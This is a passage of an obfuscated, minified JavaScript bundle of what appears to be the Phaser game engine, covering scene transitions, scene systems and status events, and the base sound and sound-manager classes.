_0x2e4f9d(_0x35c20d, 'onStart', null), _0x1af2b0 = _0x2e4f9d(_0x35c20d, 'onStartScope', this['scene']); return _0x5a13f9 && _0x5a13f9['call'](_0x1af2b0, this['scene'], _0x388fae, _0x56b725), this['systems']['events']['emit'](_0x1a21ba['TRANSITION_OUT'], _0x388fae, _0x56b725), !0x0; }, 'checkValidTransition': function (_0x4fc638) { return !(!_0x4fc638 || _0x4fc638['sys']['isActive']() || _0x4fc638['sys']['isTransitioning']() || _0x4fc638 === this['scene'] || this['systems']['isTransitioning']()); }, 'step': function (_0x615a3c, _0x5bd946) { this['_elapsed'] += _0x5bd946, this['transitionProgress'] = _0x2054aa(this['_elapsed'] / this['_duration'], 0x0, 0x1), this['_onUpdate'] && this['_onUpdate']['call'](this['_onUpdateScope'], this['transitionProgress']), this['_elapsed'] >= this['_duration'] && this['transitionComplete'](); }, 'transitionComplete': function () { var _0xbe5cd7 = this['_target']['sys'], _0x4f0c86 = this['_target']['sys']['settings']; _0xbe5cd7['events']['emit'](_0x1a21ba['TRANSITION_COMPLETE'], this['scene']), _0x4f0c86['isTransition'] = !0x1, _0x4f0c86['transitionFrom'] = null, this['_duration'] = 0x0, this['_target'] = null, this['_onUpdate'] = null, this['_onUpdateScope'] = null, this['_willRemove'] ? this['manager']['remove'](this['key']) : this['_willSleep'] ? this['systems']['sleep']() : this['manager']['stop'](this['key']); }, 'add': function (_0x3db00b, _0x294e3c, _0x923354, _0x59b417) { return this['manager']['add'](_0x3db00b, _0x294e3c, _0x923354, _0x59b417); }, 'launch': function (_0x544e36, _0x1424ad) { return _0x544e36 && _0x544e36 !== this['key'] && this['manager']['queueOp']('start', _0x544e36, _0x1424ad), this; }, 'run': function (_0x22eeea, _0xa56cf5) { return _0x22eeea && _0x22eeea !== this['key'] && this['manager']['queueOp']('run', _0x22eeea, _0xa56cf5), this; }, 'pause': function (_0x311101, _0x5bb55c) { return void 0x0 === _0x311101 && (_0x311101 = this['key']), this['manager']['queueOp']('pause', _0x311101, _0x5bb55c), this; }, 'resume': function (_0x2b9f45, _0x437c13) { return void 0x0 === _0x2b9f45 && (_0x2b9f45 = this['key']), this['manager']['queueOp']('resume', _0x2b9f45, _0x437c13), this; }, 'sleep': function (_0x265479, _0x2d8622) { return void 0x0 === _0x265479 && (_0x265479 = this['key']), this['manager']['queueOp']('sleep', _0x265479, _0x2d8622), this; }, 'wake': function (_0x3eb5ec, _0x563b94) { return void 0x0 === _0x3eb5ec && (_0x3eb5ec = this['key']), this['manager']['queueOp']('wake', _0x3eb5ec, _0x563b94), this; }, 'switch': function (_0x64242a, _0x231b0a) { return _0x64242a !== this['key'] && this['manager']['queueOp']('switch', this['key'], _0x64242a, _0x231b0a), this; }, 'stop': function (_0x1787fb, _0x75feef) { return void 0x0 === _0x1787fb && (_0x1787fb = this['key']), this['manager']['queueOp']('stop', _0x1787fb, _0x75feef), this; }, 'setActive': function (_0x24cc1e, _0x3b2433, _0x5735f4) { void 0x0 === _0x3b2433 && (_0x3b2433 = this['key']); var _0x396102 = this['manager']['getScene'](_0x3b2433); return _0x396102 && _0x396102['sys']['setActive'](_0x24cc1e, _0x5735f4), this; }, 'setVisible': function (_0x17f534, _0x2f357c) { void 0x0 === _0x2f357c && (_0x2f357c = this['key']); var _0xe11ba0 = this['manager']['getScene'](_0x2f357c); return _0xe11ba0 && _0xe11ba0['sys']['setVisible'](_0x17f534), this; }, 'isSleeping': function (_0x3d6650) { return void 0x0 === _0x3d6650 && (_0x3d6650 = this['key']), this['manager']['isSleeping'](_0x3d6650); }, 'isActive': function (_0x49038a) { return void 0x0 === _0x49038a && (_0x49038a = this['key']), this['manager']['isActive'](_0x49038a); }, 'isPaused': function (_0x1a6a7e) { return void 0x0 === _0x1a6a7e && (_0x1a6a7e = this['key']), this['manager']['isPaused'](_0x1a6a7e); }, 'isVisible': function (_0x518eb9) { return void 0x0 === _0x518eb9 && (_0x518eb9 = this['key']), this['manager']['isVisible'](_0x518eb9); }, 'swapPosition': function (_0xd27ed5, _0x49e46b) { return void 0x0 === _0x49e46b && (_0x49e46b = this['key']), _0xd27ed5 !== _0x49e46b && this['manager']['swapPosition'](_0xd27ed5, _0x49e46b), this; }, 'moveAbove': function (_0x4b669b, _0x13cad7) { return void 0x0 === _0x13cad7 && (_0x13cad7 = this['key']), _0x4b669b !== _0x13cad7 && this['manager']['moveAbove'](_0x4b669b, _0x13cad7), this; }, 'moveBelow': function (_0xc915ac, _0x47304b) { return void 0x0 === _0x47304b && (_0x47304b = this['key']), _0xc915ac !== _0x47304b && this['manager']['moveBelow'](_0xc915ac, _0x47304b), this; }, 'remove': function (_0x45e36a) { return void 0x0 === _0x45e36a && (_0x45e36a = this['key']), this['manager']['remove'](_0x45e36a), this; }, 'moveUp': function (_0x4e9605) { return void 0x0 === _0x4e9605 && (_0x4e9605 = this['key']), this['manager']['moveUp'](_0x4e9605), this; }, 'moveDown': function (_0x356d9b) { return void 0x0 === _0x356d9b && (_0x356d9b = this['key']), this['manager']['moveDown'](_0x356d9b), this; }, 'bringToTop': function (_0x41b2ef) { return void 0x0 === _0x41b2ef && (_0x41b2ef = this['key']), this['manager']['bringToTop'](_0x41b2ef), this; }, 'sendToBack': function (_0x3947f8) { return void 0x0 === _0x3947f8 && (_0x3947f8 = this['key']), this['manager']['sendToBack'](_0x3947f8), this; }, 'get': function (_0x4f66ba) { return this['manager']['getScene'](_0x4f66ba); }, 'getStatus': function (_0x28270a) { var _0x5cad2b = this['manager']['getScene'](_0x28270a); if (_0x5cad2b) return _0x5cad2b['sys']['getStatus'](); }, 'getIndex': function (_0x267f8c) { return void 0x0 === _0x267f8c && (_0x267f8c = this['key']), this['manager']['getIndex'](_0x267f8c); }, 'shutdown': function () { var _0x3243a5 = this['systems']['events']; _0x3243a5['off'](_0x1a21ba['SHUTDOWN'], this['shutdown'], this), _0x3243a5['off'](_0x1a21ba['TRANSITION_OUT']); }, 'destroy': function () { this['shutdown'](), this['scene']['sys']['events']['off'](_0x1a21ba['START'], this['start'], this), this['scene'] = null, this['systems'] = null, this['settings'] = null, this['manager'] = null; } }); _0x1cc7a3['register']('ScenePlugin', _0x3315dc, 'scenePlugin'), _0x388de9['exports'] = _0x3315dc; }, 0xd981: (_0x5c649d, _0xdd16df, _0x46927f) => { var _0x28568b = _0x46927f(0x15f89), _0x18cb02 = _0x46927f(0x8952), _0x5a0b87 = _0x46927f(0xb77f), _0x1e1bf1 = _0x46927f(0x153f9), _0x2c199f = { 'create': function (_0xe0a95a) { return 'string' == typeof _0xe0a95a ? _0xe0a95a = { 'key': _0xe0a95a } : void 0x0 === _0xe0a95a && (_0xe0a95a = {}), { 'status': _0x28568b['PENDING'], 'key': _0x18cb02(_0xe0a95a, 'key', ''), 'active': _0x18cb02(_0xe0a95a, 'active', !0x1), 'visible': _0x18cb02(_0xe0a95a, 'visible', !0x0), 'isBooted': !0x1, 'isTransition': !0x1, 'transitionFrom': null, 'transitionDuration': 0x0, 'transitionAllowInput': !0x0, 'data': {}, 'pack': _0x18cb02(_0xe0a95a, 'pack', !0x1), 'cameras': _0x18cb02(_0xe0a95a, 'cameras', null), 'map': _0x18cb02(_0xe0a95a, 'map', _0x5a0b87(_0x1e1bf1, _0x18cb02(_0xe0a95a, 'mapAdd', {}))), 'physics': _0x18cb02(_0xe0a95a, 'physics', {}), 'loader': _0x18cb02(_0xe0a95a, 'loader', {}), 'plugins': _0x18cb02(_0xe0a95a, 'plugins', !0x1), 'input': _0x18cb02(_0xe0a95a, 'input', {}) }; } }; _0x5c649d['exports'] = _0x2c199f; }, 0x940: (_0x148505, _0x29a187, _0x31def6) => { var _0x11b965 = _0x31def6(0x145db), _0x54fef6 = _0x31def6(0x15f89), _0x1d0e8f = _0x31def6(0xa57b), _0x253229 = _0x31def6(0xae32), _0xaf8cf2 = _0x31def6(0x6b05), _0x432517 = _0x31def6(0xcb8a), _0x115f8a = _0x31def6(0x7433), _0x226aa5 = _0x31def6(0xd981), _0x2a4c1f = new _0x11b965({ 'initialize': function (_0x1ad52d, _0x2e2dc7) { this['scene'] = _0x1ad52d, this['game'], this['renderer'], this['config'] = _0x2e2dc7, this['settings'] = _0x226aa5['create'](_0x2e2dc7), this['canvas'], this['context'], this['anims'], this['cache'], this['plugins'], this['registry'], this['scale'], this['sound'], this['textures'], this['add'], this['cameras'], this['displayList'], this['events'], this['make'], this['scenePlugin'], this['updateList'], this['sceneUpdate'] = _0x115f8a; }, 'init': function (_0x5829ac) { this['settings']['status'] = _0x54fef6['INIT'], this['sceneUpdate'] = _0x115f8a, this['game'] = _0x5829ac, this['renderer'] = _0x5829ac['renderer'], this['canvas'] = _0x5829ac['canvas'], this['context'] = _0x5829ac['context']; var _0x496aed = _0x5829ac['plugins']; this['plugins'] = _0x496aed, _0x496aed['addToScene'](this, _0x1d0e8f['Global'], [_0x1d0e8f['CoreScene'], _0x432517(this), _0xaf8cf2(this)]), this['events']['emit'](_0x253229['BOOT'], this), this['settings']['isBooted'] = !0x0; }, 'step': function (_0xee2e47, _0x4e3427) { var _0x2315d6 = this['events']; _0x2315d6['emit'](_0x253229['PRE_UPDATE'], _0xee2e47, _0x4e3427), _0x2315d6['emit'](_0x253229['UPDATE'], _0xee2e47, _0x4e3427), this['sceneUpdate']['call'](this['scene'], _0xee2e47, _0x4e3427), _0x2315d6['emit'](_0x253229['POST_UPDATE'], _0xee2e47, _0x4e3427); }, 'render': function (_0x3a6f90) { var _0x339e25 = this['displayList']; _0x339e25['depthSort'](), this['events']['emit'](_0x253229['PRE_RENDER'], _0x3a6f90), this['cameras']['render'](_0x3a6f90, _0x339e25), this['events']['emit'](_0x253229['RENDER'], _0x3a6f90); }, 'queueDepthSort': function () { this['displayList']['queueDepthSort'](); }, 'depthSort': function () { this['displayList']['depthSort'](); }, 'pause': function (_0x3c3a70) { var _0x43d0ea = this['settings'], _0x3a158d = this['getStatus'](); return _0x3a158d !== _0x54fef6['CREATING'] && _0x3a158d !== _0x54fef6['RUNNING'] || this['settings']['active'] && (_0x43d0ea['status'] = _0x54fef6['PAUSED'], _0x43d0ea['active'] = !0x1, this['events']['emit'](_0x253229['PAUSE'], this, _0x3c3a70)), this; }, 'resume': function (_0x2fb4da) { var _0x357235 = this['events'], _0x2378b4 = this['settings']; return this['settings']['active'] || (_0x2378b4['status'] = _0x54fef6['RUNNING'], _0x2378b4['active'] = !0x0, _0x357235['emit'](_0x253229['RESUME'], this, _0x2fb4da)), this; }, 'sleep': function (_0x30e849) { var _0x295e08 = this['settings'], _0x531663 = this['getStatus'](); return _0x531663 !== _0x54fef6['CREATING'] && _0x531663 !== _0x54fef6['RUNNING'] || (_0x295e08['status'] = _0x54fef6['SLEEPING'], _0x295e08['active'] = !0x1, _0x295e08['visible'] = !0x1, this['events']['emit'](_0x253229['SLEEP'], this, _0x30e849)), this; }, 'wake': function (_0x132249) { var _0x3c63b1 = this['events'], _0xce3c8a = this['settings']; return _0xce3c8a['status'] = _0x54fef6['RUNNING'], _0xce3c8a['active'] = !0x0, _0xce3c8a['visible'] = !0x0, _0x3c63b1['emit'](_0x253229['WAKE'], this, _0x132249), _0xce3c8a['isTransition'] && _0x3c63b1['emit'](_0x253229['TRANSITION_WAKE'], _0xce3c8a['transitionFrom'], _0xce3c8a['transitionDuration']), this; }, 'getData': function () { return this['settings']['data']; }, 'getStatus': function () { return this['settings']['status']; }, 'canInput': function () { var _0x117f27 = this['settings']['status']; return _0x117f27 > _0x54fef6['PENDING'] && _0x117f27 <= _0x54fef6['RUNNING']; }, 'isSleeping': function () { return this['settings']['status'] === _0x54fef6['SLEEPING']; }, 'isActive': function () { return this['settings']['status'] === _0x54fef6['RUNNING']; }, 'isPaused': function () { return this['settings']['status'] === _0x54fef6['PAUSED']; }, 'isTransitioning': function () { return this['settings']['isTransition'] || null !== this['scenePlugin']['_target']; }, 'isTransitionOut': function () { return null !== this['scenePlugin']['_target'] && this['scenePlugin']['_duration'] > 0x0; }, 'isTransitionIn': function () { return this['settings']['isTransition']; }, 'isVisible': function () { return this['settings']['visible']; }, 'setVisible': function (_0x18c7ba) { return this['settings']['visible'] = _0x18c7ba, this; }, 'setActive': function (_0x50e15c, _0x56e508) { return _0x50e15c ? this['resume'](_0x56e508) : this['pause'](_0x56e508); }, 'start': function (_0x12003a) { var _0x517218 = this['events'], _0x3d4bca = this['settings']; _0x12003a && (_0x3d4bca['data'] = _0x12003a), _0x3d4bca['status'] = _0x54fef6['START'], _0x3d4bca['active'] = !0x0, _0x3d4bca['visible'] = !0x0, _0x517218['emit'](_0x253229['START'], this), _0x517218['emit'](_0x253229['READY'], this, _0x12003a); }, 'shutdown': function (_0x24f562) { var _0x4c09e3 = this['events'], _0x3c3241 = this['settings']; _0x4c09e3['off'](_0x253229['TRANSITION_INIT']), _0x4c09e3['off'](_0x253229['TRANSITION_START']), _0x4c09e3['off'](_0x253229['TRANSITION_COMPLETE']), _0x4c09e3['off'](_0x253229['TRANSITION_OUT']), _0x3c3241['status'] = _0x54fef6['SHUTDOWN'], _0x3c3241['active'] = !0x1, _0x3c3241['visible'] = !0x1, _0x4c09e3['emit'](_0x253229['SHUTDOWN'], this, _0x24f562); }, 'destroy': function () { var _0xa5163f = this['events'], _0x36d38d = this['settings']; _0x36d38d['status'] = _0x54fef6['DESTROYED'], _0x36d38d['active'] = !0x1, _0x36d38d['visible'] = !0x1, _0xa5163f['emit'](_0x253229['DESTROY'], this), _0xa5163f['removeAllListeners'](); for (var _0x1084a8 = ['scene', 'game', 'anims', 'cache', 'plugins', 'registry', 'sound', 'textures', 'add', 'camera', 'displayList', 'events', 'make', 'scenePlugin', 'updateList'], _0x23d48d = 0x0; _0x23d48d < _0x1084a8['length']; _0x23d48d++)this[_0x1084a8[_0x23d48d]] = null; } }); _0x148505['exports'] = _0x2a4c1f; }, 0x15f89: _0x68b65c => { _0x68b65c['exports'] = { 'PENDING': 0x0, 'INIT': 0x1, 'START': 0x2, 'LOADING': 0x3, 'CREATING': 0x4, 'RUNNING': 0x5, 'PAUSED': 0x6, 'SLEEPING': 0x7, 'SHUTDOWN': 0x8, 'DESTROYED': 0x9 }; }, 0x110c6: _0x49fe20 => { _0x49fe20['exports'] = 'addedtoscene'; }, 0x1eef: _0x17bec0 => { _0x17bec0['exports'] = 'boot'; }, 0xb6ab: _0x5b3f39 => { _0x5b3f39['exports'] = 'create'; }, 0x2df3: _0x15a01a => { _0x15a01a['exports'] = 'destroy'; }, 0x11783: _0x1759d9 => { _0x1759d9['exports'] = 'pause'; }, 0x8f7f: _0x1cab2b => { _0x1cab2b['exports'] = 'postupdate'; }, 0xee1: _0xc5a922 => { _0xc5a922['exports'] = 'prerender'; }, 0x1625c: _0x59966e => { _0x59966e['exports'] = 'preupdate'; }, 0xe396: _0x4ec74d => { _0x4ec74d['exports'] = 'ready'; }, 0x165f1: _0x5d059b => { _0x5d059b['exports'] = 'removedfromscene'; }, 0x284f: _0x4e35b8 => { _0x4e35b8['exports'] = 'render'; }, 0x1545c: _0x2c10c9 => { _0x2c10c9['exports'] = 'resume'; }, 0x14029: _0x1faa09 => { _0x1faa09['exports'] = 'shutdown'; }, 0x16052: _0xdef138 => { _0xdef138['exports'] = 'sleep'; }, 0x1879: _0x23e734 => { _0x23e734['exports'] = 'start'; }, 0x819a: _0x27cf7d => { _0x27cf7d['exports'] = 'transitioncomplete'; }, 0xa837: _0x114ae2 => { _0x114ae2['exports'] = 'transitioninit'; }, 0x2bfb: _0x2614ad => { _0x2614ad['exports'] = 'transitionout'; }, 0xf0ab: _0x12759a => { _0x12759a['exports'] = 'transitionstart'; }, 0xb099: _0x423956 => { _0x423956['exports'] = 'transitionwake'; }, 0x59b6: _0x43ae40 => { _0x43ae40['exports'] = 'update'; }, 0x54f3: _0x4a8eb1 => { _0x4a8eb1['exports'] = 'wake'; }, 0xae32: (_0xbd277a, _0x125d4f, _0x5d9892) => { _0xbd277a['exports'] = { 'ADDED_TO_SCENE': _0x5d9892(0x110c6), 'BOOT': _0x5d9892(0x1eef), 'CREATE': _0x5d9892(0xb6ab), 'DESTROY': _0x5d9892(0x2df3), 'PAUSE': _0x5d9892(0x11783), 'POST_UPDATE': _0x5d9892(0x8f7f), 'PRE_RENDER': _0x5d9892(0xee1), 'PRE_UPDATE': _0x5d9892(0x1625c), 'READY': _0x5d9892(0xe396), 'REMOVED_FROM_SCENE': _0x5d9892(0x165f1), 'RENDER': _0x5d9892(0x284f), 'RESUME': _0x5d9892(0x1545c), 'SHUTDOWN': _0x5d9892(0x14029), 'SLEEP': _0x5d9892(0x16052), 'START': _0x5d9892(0x1879), 'TRANSITION_COMPLETE': _0x5d9892(0x819a), 'TRANSITION_INIT': _0x5d9892(0xa837), 'TRANSITION_OUT': _0x5d9892(0x2bfb), 'TRANSITION_START': _0x5d9892(0xf0ab), 'TRANSITION_WAKE': _0x5d9892(0xb099), 'UPDATE': _0x5d9892(0x59b6), 'WAKE': _0x5d9892(0x54f3) }; }, 0xf2f2: (_0x2ddedd, _0x182300, _0x4bc773) => { var _0x522e9c = _0x4bc773(0x15f89), _0xe56a13 = _0x4bc773(0x135bb), _0x33848f = { 'Events': _0x4bc773(0xae32), 'GetPhysicsPlugins': _0x4bc773(0x6b05), 'GetScenePlugins': _0x4bc773(0xcb8a), 'SceneManager': _0x4bc773(0xede7), 'ScenePlugin': _0x4bc773(0xcbf1), 'Settings': _0x4bc773(0xd981), 'Systems': _0x4bc773(0x940) }; _0x33848f = _0xe56a13(!0x1, _0x33848f, _0x522e9c), _0x2ddedd['exports'] = _0x33848f; }, 0x7685: (_0x1384de, _0x53886a, _0x59e328) => { var _0x5d24b6 = _0x59e328(0x145db), _0x231806 = _0x59e328(0xc668), _0x4c9060 = _0x59e328(0x387f), _0x53ed44 = _0x59e328(0x135bb), _0x520ed5 = _0x59e328(0x7433), _0x59bab5 = new _0x5d24b6({ 'Extends': _0x231806, 'initialize': function (_0xa5412a, _0x491dd7, _0x119ffd) { _0x231806['call'](this), this['manager'] = _0xa5412a, this['key'] = _0x491dd7, this['isPlaying'] = !0x1, this['isPaused'] = !0x1, this['totalRate'] = 0x1, this['duration'] = this['duration'] || 0x0, this['totalDuration'] = this['totalDuration'] || 0x0, this['config'] = { 'mute': !0x1, 'volume': 0x1, 'rate': 0x1, 'detune': 0x0, 'seek': 0x0, 'loop': !0x1, 'delay': 0x0, 'pan': 0x0 }, this['currentConfig'] = this['config'], this['config'] = _0x53ed44(this['config'], _0x119ffd), this['markers'] = {}, this['currentMarker'] = null, this['pendingRemove'] = !0x1; }, 'addMarker': function (_0xd4fd2a) { return !(!_0xd4fd2a || !_0xd4fd2a['name'] || 'string' != typeof _0xd4fd2a['name'] || this['markers'][_0xd4fd2a['name']] || (_0xd4fd2a = _0x53ed44(!0x0, { 'name': '', 'start': 0x0, 'duration': this['totalDuration'] - (_0xd4fd2a['start'] || 0x0), 'config': { 'mute': !0x1, 'volume': 0x1, 'rate': 0x1, 'detune': 0x0, 'seek': 0x0, 'loop': !0x1, 'delay': 0x0, 'pan': 0x0 } }, _0xd4fd2a), this['markers'][_0xd4fd2a['name']] = _0xd4fd2a, 0x0)); }, 'updateMarker': function (_0x2a866e) { return !(!_0x2a866e || !_0x2a866e['name'] || 'string' != typeof _0x2a866e['name'] || !this['markers'][_0x2a866e['name']] || (this['markers'][_0x2a866e['name']] = _0x53ed44(!0x0, this['markers'][_0x2a866e['name']], _0x2a866e), 0x0)); }, 'removeMarker': function (_0x4d8504) { var _0x1666df = this['markers'][_0x4d8504]; return _0x1666df ? (this['markers'][_0x4d8504] = null, _0x1666df) : null; }, 'play': function (_0x2d9818, _0x39991e) { if (void 0x0 === _0x2d9818 && (_0x2d9818 = ''), 'object' == typeof _0x2d9818 && (_0x39991e = _0x2d9818, _0x2d9818 = ''), 'string' != typeof _0x2d9818) return !0x1; if (_0x2d9818) { if (!this['markers'][_0x2d9818]) return !0x1; this['currentMarker'] = this['markers'][_0x2d9818], this['currentConfig'] = this['currentMarker']['config'], this['duration'] = this['currentMarker']['duration']; } else this['currentMarker'] = null, this['currentConfig'] = this['config'], this['duration'] = this['totalDuration']; return this['resetConfig'](), this['currentConfig'] = _0x53ed44(this['currentConfig'], _0x39991e), this['isPlaying'] = !0x0, this['isPaused'] = !0x1, !0x0; }, 'pause': function () { return !(this['isPaused'] || !this['isPlaying'] || (this['isPlaying'] = !0x1, this['isPaused'] = !0x0, 0x0)); }, 'resume': function () { return !(!this['isPaused'] || this['isPlaying'] || (this['isPlaying'] = !0x0, this['isPaused'] = !0x1, 0x0)); }, 'stop': function () { return !(!this['isPaused'] && !this['isPlaying'] || (this['isPlaying'] = !0x1, this['isPaused'] = !0x1, this['resetConfig'](), 0x0)); }, 'applyConfig': function () { this['mute'] = this['currentConfig']['mute'], this['volume'] = this['currentConfig']['volume'], this['rate'] = this['currentConfig']['rate'], this['detune'] = this['currentConfig']['detune'], this['loop'] = this['currentConfig']['loop'], this['pan'] = this['currentConfig']['pan']; }, 'resetConfig': function () { this['currentConfig']['seek'] = 0x0, this['currentConfig']['delay'] = 0x0; }, 'update': _0x520ed5, 'calculateRate': function () { var _0x3568be = this['currentConfig']['detune'] + this['manager']['detune'], _0x12d98a = Math['pow'](1.0005777895065548, _0x3568be); this['totalRate'] = this['currentConfig']['rate'] * this['manager']['rate'] * _0x12d98a; }, 'destroy': function () { this['pendingRemove'] || (this['stop'](), this['emit'](_0x4c9060['DESTROY'], this), this['removeAllListeners'](), this['pendingRemove'] = !0x0, this['manager'] = null, this['config'] = null, this['currentConfig'] = null, this['markers'] = null, this['currentMarker'] = null); } }); _0x1384de['exports'] = _0x59bab5; }, 0x14c2a: (_0x150c41, _0x365b47, _0x29ba0d) => { var _0x437cb6 = _0x29ba0d(0x145db), _0x4efa47 = _0x29ba0d(0xa33a), _0xefba0b = _0x29ba0d(0xc668), _0x466a14 = _0x29ba0d(0x387f), _0x13047e = _0x29ba0d(0x20fb), _0x2c3db3 = _0x29ba0d(0xb676), _0x215406 = _0x29ba0d(0xe56b), _0x535b94 = _0x29ba0d(0x7433), _0x153c5b = _0x29ba0d(0x65f3), _0x3c91fe = new _0x437cb6({ 'Extends': _0xefba0b, 'initialize': function (_0x3644f8) { _0xefba0b['call'](this), this['game'] = _0x3644f8, this['jsonCache'] = _0x3644f8['cache']['json'], this['sounds'] = [], this['mute'] = !0x1, this['volume'] = 0x1, this['pauseOnBlur'] = !0x0, this['_rate'] = 0x1, this['_detune'] = 0x0, this['locked'] = this['locked'] || !0x1, this['unlocked'] = !0x1, this['gameLostFocus'] = !0x1, this['listenerPosition'] = new _0x153c5b(), _0x3644f8['events']['on'](_0x13047e['BLUR'], this['onGameBlur'], this), _0x3644f8['events']['on'](_0x13047e['FOCUS'], this['onGameFocus'], this), _0x3644f8['events']['on'](_0x13047e['PRE_STEP'], this['update'], this), _0x3644f8['events']['once'](_0x13047e['DESTROY'], this['destroy'], this); }, 'add': _0x535b94, 'addAudioSprite': function (_0x106fc5, _0x8c8bb5) { void 0x0 === _0x8c8bb5 && (_0x8c8bb5 = {}); var _0x197574 = this['add'](_0x106fc5, _0x8c8bb5); for (var _0x1881c2 in (_0x197574['spritemap'] = this['jsonCache']['get'](_0x106fc5)['spritemap'], _0x197574['spritemap'])) if (_0x197574['spritemap']['hasOwnProperty'](_0x1881c2)) { var _0x3d4713 = _0x4efa47(_0x8c8bb5), _0x236efc = _0x197574['spritemap'][_0x1881c2]; _0x3d4713['loop'] = !!_0x236efc['hasOwnProperty']('loop') && _0x236efc['loop'], _0x197574['addMarker']({ 'name': _0x1881c2, 'start': _0x236efc['start'], 'duration': _0x236efc['end'] - _0x236efc['start'], 'config': _0x3d4713 }); } return _0x197574; }, 'get': function (_0x13d7ff) { return _0x215406(this['sounds'], 'key', _0x13d7ff); }, 'getAll': function (_0x3ff4e0) { return _0x3ff4e0 ? _0x2c3db3(this['sounds'], 'key', _0x3ff4e0) : _0x2c3db3(this['sounds']); }, 'getAllPlaying': function () { return _0x2c3db3(this['sounds'], 'isPlaying', !0x0); }, 'play': function (_0x412c4e, _0x51b99d) { var _0x3a5258 = this['add'](_0x412c4e); return _0x3a5258['once'](_0x466a14['COMPLETE'], _0x3a5258['destroy'], _0x3a5258), _0x51b99d ? _0x51b99d['name'] ? (_0x3a5258['addMarker'](_0x51b99d), _0x3a5258['play'](_0x51b99d['name'])) : _0x3a5258['play'](_0x51b99d) : _0x3a5258['play'](); }, 'playAudioSprite': function (_0x15d2b6, _0x268a81, _0x118ef6) { var _0x15ef98 = this['addAudioSprite'](_0x15d2b6); return _0x15ef98['once'](_0x466a14['COMPLETE'], _0x15ef98['destroy'], _0x15ef98), _0x15ef98['play'](_0x268a81, _0x118ef6); }, 'remove': function (_0x1b81d8) { var _0xcfa0e3 = this['sounds']['indexOf'](_0x1b81d8); return -0x1 !== _0xcfa0e3 && (_0x1b81d8['destroy'](), this['sounds']['splice'](_0xcfa0e3, 0x1), !0x0); }, 'removeAll': function () { this['sounds']['forEach'](function (_0x4d972d) { _0x4d972d['destroy'](); }), this['sounds']['length'] = 0x0; }, 'removeByKey': function (_0x31b009) { for (var _0x5c5068 = 0x0, _0x4290b1 = this['sounds']['length'] - 0x1; _0x4290b1 >= 0x0; _0x4290b1--) { var _0x5461c8 = this['sounds'][_0x4290b1]; _0x5461c8['key'] === _0x31b009 && (_0x5461c8['destroy'](), this['sounds']['splice'](_0x4290b1, 0x1), _0x5c5068++); } return _0x5c5068; }, 'pauseAll': function () { this['forEachActiveSound'](function (_0x59be8e) { _0x59be8e['pause'](); }), this['emit'](_0x466a14['PAUSE_ALL'], this); }, 'resumeAll': function () { this['forEachActiveSound'](function (_0x2b994a) { _0x2b994a['resume'](); }), this['emit'](_0x466a14['RESUME_ALL'], this); }, 'setListenerPosition': _0x535b94, 'stopAll': function () { this['forEachActiveSound'](function (_0x1fdc22) { _0x1fdc22['stop'](); }), this['emit'](_0x466a14['STOP_ALL'], this); }, 'stopByKey': function (_0x13cc89) { var _0x2a7011 = 0x0; return this['getAll'](_0x13cc89)['forEach'](function (_0xf131bb) { _0xf131bb['stop']() && _0x2a7011++; }), _0x2a7011; }, 'isPlaying': function (_0xe17ceb) { var _0x1eb07a, _0x105905 = this['sounds']['length'] - 0x1; if (void 0x0 === _0xe17ceb) { for (; _0x105905 >= 0x0; _0x105905--)if ((_0x1eb07a = this['sounds'][_0x105905])['isPlaying']) return !0x0; } else { for (; _0x105905 >= 0x0; _0x105905--)if ((_0x1eb07a = this['sounds'][_0x105905])['key'] === _0xe17ceb && _0x1eb07a['isPlaying']) return !0x0; } return !0x1; }, 'unlock': _0x535b94, 'onBlur': _0x535b94, 'onFocus': _0x535b94, 'onGameBlur': function () { this['gameLostFocus'] = !0x0, this['pauseOnBlur'] && this['onBlur'](); }, 'onGameFocus': function () { this['gameLostFocus'] = !0x1, this['pauseOnBlur'] && this['onFocus'](); }, 'update': function (_0x710895, _0x3369aa) { this['unlocked'] && (this['unlocked'] = !0x1, this['locked'] = !0x1, this['emit'](_0x466a14['UNLOCKED'], this)); for (var _0x272da3 = this['sounds']['length'] - 0x1; _0x272da3 >= 0x0; _0x272da3--)this['sounds'][_0x272da3]['pendingRemove'] && this['sounds']['splice'](_0x272da3, 0x1); this['sounds']['forEach'](function (_0x5bff02) { _0x5bff02['update'](_0x710895, _0x3369aa); }); }, 'destroy': function () { this['game']['events']['off'](_0x13047e['BLUR'], this['onGameBlur'], this), this['game']['events']['off'](_0x13047e['FOCUS'], this['onGameFocus'], this), this['game']['events']['off'](_0x13047e['PRE_STEP'], this['update'], this), this['removeAllListeners'](), this['removeAll'](), this['sounds']['length'] = 0x0, this['sounds'] = null, this['listenerPosition'] = null, this['game'] = null; }, 'forEachActiveSound': function (_0x22a10c, _0x13ac36) { var _0x4d6ef5 = this; this['sounds']['forEach'](function (_0x31e5a7, _0x32c5b8) { _0x31e5a7 && !_0x31e5a7['pendingRemove'] && _0x22a10c['call'](_0x13ac36 || _0x4d6ef5, _0x31e5a7, _0x32c5b8, _0x4d6ef5['sounds']); }); }, 'setRate': function (_0x172c60) { return this['rate'] = _0x172c60, this; }, 'rate': { 'get': function () { return this['_rate']; }, 'set': function (_0x231182) { this['_rate'] = _0x231182, this['forEachActiveSound'](function (_0x35bb44) { _0x35bb44['calculateRate'](); }), this['emit'](_0x466a14['GLOBAL_RATE'], this, _0x231182); } }, 'setDetune': function (_0x1fc1a8) { return this['detune'] = _0x1fc1a8, this; }, 'detune': { 'get': function () { return this['_detune']; }, 'set': function (_0x3b49a2) { this['_detune'] = _0x3b49a2, this['forEachActiveSound'](function (_0x4d3cd4) { _0x4d3cd4['calculateRate'](); }), this['emit'](_0x466a14['GLOBAL_DETUNE'], this, _0x3b49a2); } } }); _0x150c41['exports'] = _0x3c91fe; }, 0x399b: (_0x1b904d, _0x4568de, _0x39c9e0) => { var _0x5a94a8 = _0x39c9e0(0x8394), _0x23929c = _0x39c9e0(0x6568), _0x17ae62 = _0x39c9e0(0xe092), _0x7b4699 = { 'create': function (_0x54a9d8) { var _0x2f81a9 = _0x54a9d8['config']['audio'], _0x52c3a1 = _0x54a9d8['device']['audio']; return _0x2f81a9['noAudio'] || !_0x52c3a1['webAudio'] && !_0x52c3a1['audioData'] ? new _0x23929c(_0x54a9d8) : _0x52c3a1['webAudio'] && !_0x2f81a9['disableWebAudio'] ? new _0x17ae62(_0x54a9d8) : new _0x5a94a8(_0x54a9d8); } }; _0x1b904d['exports'] = _0x7b4699; }, 0x4d0b: _0x515745 => { _0x515745['exports'] = 'complete'; }, 0x18242: _0x4d940d => { _0x4d940d['exports'] = 'decodedall'; }, 0xe0a2: _0x337f79 => 